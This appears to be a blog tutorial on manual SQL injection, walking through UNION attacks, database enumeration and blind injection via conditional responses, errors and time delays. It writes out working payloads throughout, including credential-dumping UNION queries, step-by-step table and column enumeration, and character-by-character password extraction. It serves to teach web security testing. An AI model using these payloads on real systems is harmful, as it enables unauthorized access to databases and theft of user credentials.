SQL Injection (SQLI)- Manual Techniques

Ayman
9 min readApr 27, 2021

What is SQL injection ? SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database allows an attacker to view data that they are not normally able to retrieve.

before start basic knowledge about SQL Query recommended

check this repo for SQL basics …

Remember : the — (double-dash) comment style requires the second dash to be followed by at least one white space or control character (such as a space, tab, newline, and so on) …

Many URL decoders treat + as a space.

SQL Injection Contexts

#01 Retrieving hidden data where you can modify an SQL query to return additional results.

#02 Subverting application logic where you can change a query to interfere with the application’s logic.

#03 UNION attacks where you can retrieve data from different database tables.

Determining the number of columns required in an SQL injection UNION attack

For a UNION query to work, two key requirements must be met :

  • The individual queries must return the same number of columns.

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

this code return 2 column from table1 and 2 column from table2

  • The data types in each column must be compatible between the individual queries.

To carry out an SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:

  • How many columns are being returned from the original query?
Test for column numbers
  • Which columns returned from the original query are of a suitable data type to hold the results from the injected query?
Test for columns data type

Notes :

  • The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chance that the payload will succeed when the column count is correct.
  • On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called DUAL which can be used for this purpose. So the injected queries on Oracle would need to look like: ‘ UNION SELECT NULL FROM DUAL — .
  • The payloads described use the double-dash comment sequence — to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment.

If we know the name of columns and table we can retrieve sensitive data for example

' UNION SELECT username, password FROM users--

this will retrieves login credentials …

In case we need to retrieve multiple values within a single column

like select id, name from members ... UNION SELECT username, password FROM users--

this will crash data types of columns not the same So we will retrieve username, password in one column by concatenating the values together

‘ UNION SELECT username || ‘~’ || password FROM users —

select id, name from members ... UNION SELECT NULL,username || '~' || password FROM users--

RECAP :

' ORDER BY #-- > count number of column

' UNION SELECT [string|int|...]-- > identify data type

' UNION SELECT username, password FROM users-- > retrieve sensitive data if we know columns and table name

if data types can’t help use we can set null for data type we won’t use and concatenate our target columns in one

#04 Examining the database where you can extract information about the version and structure of the database.

The queries to determine the database version for some popular database types are as follows:

Database type > Query

Microsoft, MySQL > SELECT @@version

Oracle > SELECT * FROM v$version

PostgreSQL > SELECT version()

Oracle query must include “FROM”

Listing the contents of the database :

Reach SENSITIVE data steps :

  • Microsoft, MySQL and PostgreSQL

1- calculate the number of columns

‘order by # —

2- check data type of each one

‘ UNION SELECT [string|int|…] —

3- retrieve the list of tables in the database

‘ UNION SELECT [table_name,[…],NULL] FROM information_schema.tables —

4- Find the name of the table containing user credentials.

5- retrieve the details of the columns in the table

‘UNION SELECT [column_name,[…],NULL] FROM information_schema.columns WHERE table_name=’[table_name]’ —

6- Find the names of the columns containing usernames and passwords

7- retrieve the usernames and passwords for all users

‘ UNION SELECT [username_coulmn], [password_coulmn] FROM [table_name] —

  • Oracle databases

1- calculate the number of columns

‘order by # — ‘

2- check data type of each one

‘ UNION SELECT [string|int|…] FROM DUAL —

3- retrieve the list of tables in the database

‘ UNION SELECT [table_name,[…],NULL] FROM all_tables —

4- Find the name of the table containing user credentials.

5- retrieve the details of the columns in the table

‘UNION SELECT [column_name,[…],NULL] all_tab_columns WHERE table_name=’[table_name]’ —

6- Find the names of the columns containing usernames and passwords

7- retrieve the usernames and passwords for all users

‘ UNION SELECT [username_coulmn], [password_coulmn] FROM [table_name] —

RECAP :

know target tables

know target columns

retrieve targeted data

#05 Blind SQL injection where the results of a query you control are not returned in the application’s responses.

Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

With blind SQL injection vulnerabilities, many techniques such as UNION attacks, are not effective because they rely on being able to see the results of the injected query within the application’s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

  • Exploiting blind SQL injection by triggering conditional responses

“use this when some text printed after successful login”

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a “Welcome back” message is displayed within the page.

This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

…xyz' AND '1'='1 cause the query to return results, because the injected AND '1'='1 condition is true, and so the "Welcome back" message will be displayed …xyz' AND '1'='2

these two tests we detect that App infected with SQLI hence let’s exploit it

we can preform any sql command after AND

for Ex : we can brute force password char by char using

  • Inducing conditional responses by triggering SQL errors

In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application’s response (such as an error message), allowing us to infer the truth of the injected condition.

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to ‘a’, which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application’s HTTP response, we can use this difference to infer whether the injected condition is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) = §m§') THEN 1/0 ELSE 'a' END FROM Users)='a

above payload trigger error when CASE WHEN become true

note : CASE WHEN [condition] THEN [true_case] ELSE [false_case] END

  • Exploiting blind SQL injection by triggering time delays

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of an SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received.

The techniques for triggering a time delay are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to test a condition and trigger a delay depending on whether the expression is true:

'; IF (1=2) WAITFOR DELAY '0:0:10'--

'; IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs will not trigger a delay, because the condition 1=2 is false. The second input will trigger a delay of 10 seconds, because the condition 1=1 is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

Payload Ex:

%3B => ;

RECAP :

How to Detect :

  • Submitting the single quote character ‘ and looking for errors or other anomalies.
  • Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.
  • Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application’s responses.
  • Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond.
  • Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions.

SQL injection in different parts of the query :

  • In UPDATE statements, within the updated values or the WHERE clause.
  • In INSERT statements, within the inserted values.
  • In SELECT statements, within the table or column name.
  • In SELECT statements, within the ORDER BY clause.

Second-order SQL injection AKA (stored SQL injection)

in this case the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into an SQL query in an unsafe way.

Ex:

That’s it ❤ … find me on Twitter, Linkedin .

--

--